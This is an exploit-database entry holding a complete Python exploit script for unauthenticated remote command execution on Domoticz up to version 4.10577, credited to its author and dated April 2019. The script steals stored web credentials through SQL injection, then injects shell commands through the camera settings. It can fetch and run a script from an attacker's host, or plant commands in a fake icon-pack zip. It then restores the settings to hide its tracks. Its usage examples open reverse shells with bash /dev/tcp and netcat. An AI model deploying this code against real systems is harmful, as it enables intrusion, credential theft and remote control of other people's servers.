发布 2019-04-30 漏洞条目

Domoticz 4.10577 – Unauthenticated Remote Command Execution

Exploit Source

#!/usr/bin/env python

#-*- coding: utf-8 -*-

# Exploit Title: Unauthenticated Remote Command Execution on Domoticz <= 4.10577

# Date: April 2019

# Exploit Author: Fabio Carretto @ Certimeter Group

# Vendor Homepage: https://www.domoticz.com/

# Software Link: https://www.domoticz.com/downloads/

# Version: Domoticz <= 4.10577

# Tested on: Debian 9

# CVE: CVE-2019-10664, CVE-2019-10678

# ====================================================================

# Bypass authentication, inject commands and execute them

# Required login page or no authentication (doesn't work with "Basic-Auth" setting)

# There are 3 injection modes. The 1st and the 2nd bypass the char filter:

# 1.Default mode insert the commands in a script and reply with it once to

# an HTTP request. Set address and port of the attacker host with -H and -P

# 2.(-zipcmd) a zip icon pack will be uploaded. The domoticz installation path

# can be optionally specified with -path /opt/domoti..

# 3.(-direct) commands executed directly. Characters like & pipe or redirection

# cannot be used. The execution may block domoticz web server until the end

# Examples:

# ./exploit.py -H 172.17.0.1 -P 2222 http://172.17.0.2:8080/ 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1 &'

# ./exploit.py -zipcmd http://localhost:8080/ 'nc 10.0.2.2 4444 -e /bin/bash &'

import argparse

import requests

import urllib

import base64

import json

import BaseHTTPServer

import zipfile

import thread

# Retrieve data from db with the SQL Injection on the public route

def steal_dbdata(field):

sqlinj = sqlpref % field

urltmp = url_sqlinj + sqlinj

r = session.get(urltmp)

print '[+] %s: %s' % (field,r.text)

return r.text

# Login and return the SID cookie

def dologin(username, password):

url_login_cred = url_login % (username, password)

r = session.get(url_login_cred)

sid = r.headers['Set-Cookie']

sid = sid[sid.find('SID=')+4 : sid.find(';')]

print '[+] SID=' + sid

return sid

# Search an uvc cam. If exists return its json config

def get_uvc_cam():

r = session.get(url_camjson)

cams = json.loads(r.text)

if cams['status'] == 'OK' and 'result' in cams:

for cam in cams['result']:

if cam['ImageURL']=='uvccapture.cgi':

return cam

return None

# Prompt the user and ask if continue or not

def prompt_msg(msg):

print '[+] WARNING: ' + msg

if not args.f and not raw_input('[+] Continue? [y/N]: ') in ["y","Y"]:

exit(0)

return None

# Embed the commands in a zip icon file (-zipcmd)

def create_zip(commandsline):

zipname = 'iconpackfake.zip'

with zipfile.ZipFile(zipname, 'w') as zip:

zip.writestr('icons.txt', "fakeicon;Button fakeicon;fake")

zip.writestr('fakeicon.png', commandsline)

zip.writestr('fakeicon48_On.png', commandsline)

zip.writestr('fakeicon48_Off.png', commandsline)

return zipname

# HTTP server that reply once with the content of the script

class SingleHandler(BaseHTTPServer.BaseHTTPRequestHandler):

respbody = ""

def do_GET(self):

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

self.wfile.write(self.respbody)

return None

def log_request(self, code):

pass

#--------------------------------------------------------------------

# INITIALIZATION

#--------------------------------------------------------------------

parser = argparse.ArgumentParser(

description="""Unauthenticated Remote Command Execution on Domoticz!

(version <= 4.10577) Bypass authentication, inject os commands and execute them!""",

epilog="""The default mode (1) insert the commands in a script and reply

with it once to an HTTP request, use -H address and -P port.

The -zipcmd (2) or -direct (3) option override the default mode.""")

parser.add_argument('-noexec', action='store_true', help='no cmd injection, just steal credentials')

parser.add_argument('-zipcmd', action='store_true', help='upload a zip icon pack with commands inside (2)')

parser.add_argument('-direct', action='store_true', help='inject commands directly in uvc params (3)')

parser.add_argument('-H', dest='lhost', type=str, help='address/name of attacker host in default mode (1)')

parser.add_argument('-P', dest='lport', type=int, help='tcp port of attacker host in default mode (1)')

parser.add_argument('-path', dest='path', type=str, default='/src/domoticz',

help='change root path of domoticz to find the uploaded icon(script). Useful only with -zipcmd option')

parser.add_argument('-f', action='store_true', help='shut up and do it')

parser.add_argument('url', metavar='URL', nargs=1, type=str, help='target URL e.g.: http://localhost:8080/')

parser.add_argument('cmd', metavar='cmd', nargs='+', type=str, help='os command to execute, '

'send it in background or do a short job, the domoticz web server will hang during execution')

args = parser.parse_args()

if not(args.direct or args.zipcmd) and (args.lhost is None or args.lport is None):

print '[-] Default mode needs host (-H) and port (-P) of attacker to download the commands'

exit(0)

username = ''

password = ''

cookies = dict()

noauth = True

sqlpref = 'UNION SELECT sValue FROM Preferences WHERE Key="%s" -- '

cmd = args.cmd

url = args.url[0][:-1] if args.url[0][-1]=='/' else args.url[0]

url_sqlinj = url + '/images/floorplans/plan?idx=1 '

url_login = url + '/json.htm?type=command&param=logincheck&username=%s&password=%s&rememberme=true'

url_getconf = url + '/json.htm?type=settings'

url_setconf = url + '/storesettings.webem'

url_iconupl = url + '/uploadcustomicon'

url_camjson = url + '/json.htm?type=cameras'

url_camlive = url + '/camsnapshot.jpg?idx='

url_camadd = url + '/json.htm?type=command&param=addcamera&address=127.0.0.1&port=8080' \

'&name=uvccam&enabled=true&username=&password=&imageurl=dXZjY2FwdHVyZS5jZ2k%3D&protocol=0'

cmd_zipicon = ['chmod 777 %s/www/images/fakeicon48_On.png' % args.path,

'%s/www/images/fakeicon48_On.png' % args.path]

cmd_default = ['curl %s -o /tmp/myexec.sh -m 5', 'chmod 777 /tmp/myexec.sh', '/tmp/myexec.sh']

#--------------------------------------------------------------------

# AUTHENTICATION BYPASS

#--------------------------------------------------------------------

session = requests.Session()

r = session.get(url_getconf)

if r.status_code == 401:

noauth = False

username = steal_dbdata('WebUserName')

password = steal_dbdata('WebPassword')

cookies['SID'] = dologin(username, password)

r = session.get(url_getconf)

if args.noexec is True:

exit(0)

settings = json.loads(r.text)

settings.pop('UVCParams', None)

#--------------------------------------------------------------------

# Fix necessary to not break or lose settings

chn = {'WebTheme':'Themes','UseAutoBackup':'enableautobackup','UseAutoUpdate':'checkforupdates'}

for k in chn:

settings[chn[k]] = settings.pop(k, None)

sub = settings.pop('MyDomoticzSubsystems', 0)

if sub >= 4:

settings['SubsystemApps'] = 4; sub -= 4

if sub >= 2:

settings['SubsystemShared'] = 2; sub -= 2

if sub == 1:

settings['SubsystemHttp'] = 1

try:

settings['HTTPURL'] = base64.b64decode(settings['HTTPURL'])

settings['HTTPPostContentType'] = base64.b64decode(settings['HTTPPostContentType'])

settings['Latitude'] = settings['Location']['Latitude']

settings['Longitude'] = settings['Location']['Longitude']

settings.pop('Location', None)

except:

pass

toOn = ['allow','accept','hide','enable','disable','trigger','animate','show']

toOn += ['usee','floorplanfullscreen','senderrorsasn','emailasa','checkforupdates']

for k in [x for x in settings if any([y for y in toOn if y in x.lower()])]:

if(str(settings[k]) == '1'):

settings[k] = 'on'

elif(str(settings[k]) == '0'):

settings.pop(k, None)

#--------------------------------------------------------------------

# COMMAND INJECTION

#--------------------------------------------------------------------

cmdwrap = '\n'.join(['#!/bin/bash'] + cmd)

payload = urllib.urlencode(settings) + '&'

if cmd[-1][-1] != '&' and not args.direct:

prompt_msg('if not sent in background the commands may block domoticz')

if args.direct:

prompt_msg('in direct mode & pipe redirect are not allowed (may block domoticz)')

elif args.zipcmd:

fakezip = create_zip(cmdwrap)

files = [('file',(fakezip, open(fakezip,'rb'), 'application/zip'))]

r = session.post(url_iconupl, files=files)

cmd = cmd_zipicon

else:

httpd = BaseHTTPServer.HTTPServer(("", args.lport), SingleHandler)

SingleHandler.respbody = cmdwrap

thread.start_new_thread(httpd.handle_request, ())

cmd_default[0] = cmd_default[0] % ('http://%s:%d/' % (args.lhost,args.lport))

cmd = cmd_default

# Encode the space and send the others in clear (chars like <>&;| not allowed)

cmdencode = '\n'.join([x.replace(' ', '+') for x in cmd])

payload += 'UVCParams=-d+/dev/aaa\n%s\n#' % (cmdencode)

req = requests.Request('POST', url_setconf, data=payload, cookies=cookies)

r = session.send(req.prepare())

print '[+] Commands successfully injected'

#--------------------------------------------------------------------

# COMMAND EXECUTION

#--------------------------------------------------------------------

if noauth:

session.cookies.clear() # fix if authentication is disabled

cam = get_uvc_cam()

if cam is None:

print '[+] Adding new UVC camera'

r = session.get(url_camadd)

cam = get_uvc_cam()

print '[+] Execution on cam with idx: ' + str(cam['idx'])

r = session.get(url_camlive + str(cam['idx']))

# Restore the default UVC parameters (like a ninja)

settings['UVCParams'] = '-S80 -B128 -C128 -G80 -x800 -y600 -q100'

session.post(url_setconf, data=settings)

print '[+] Done! Restored default uvc params!'

作者: Fabio Carretto
日期: 2019-04-30
类别: webapps
平台: multiple

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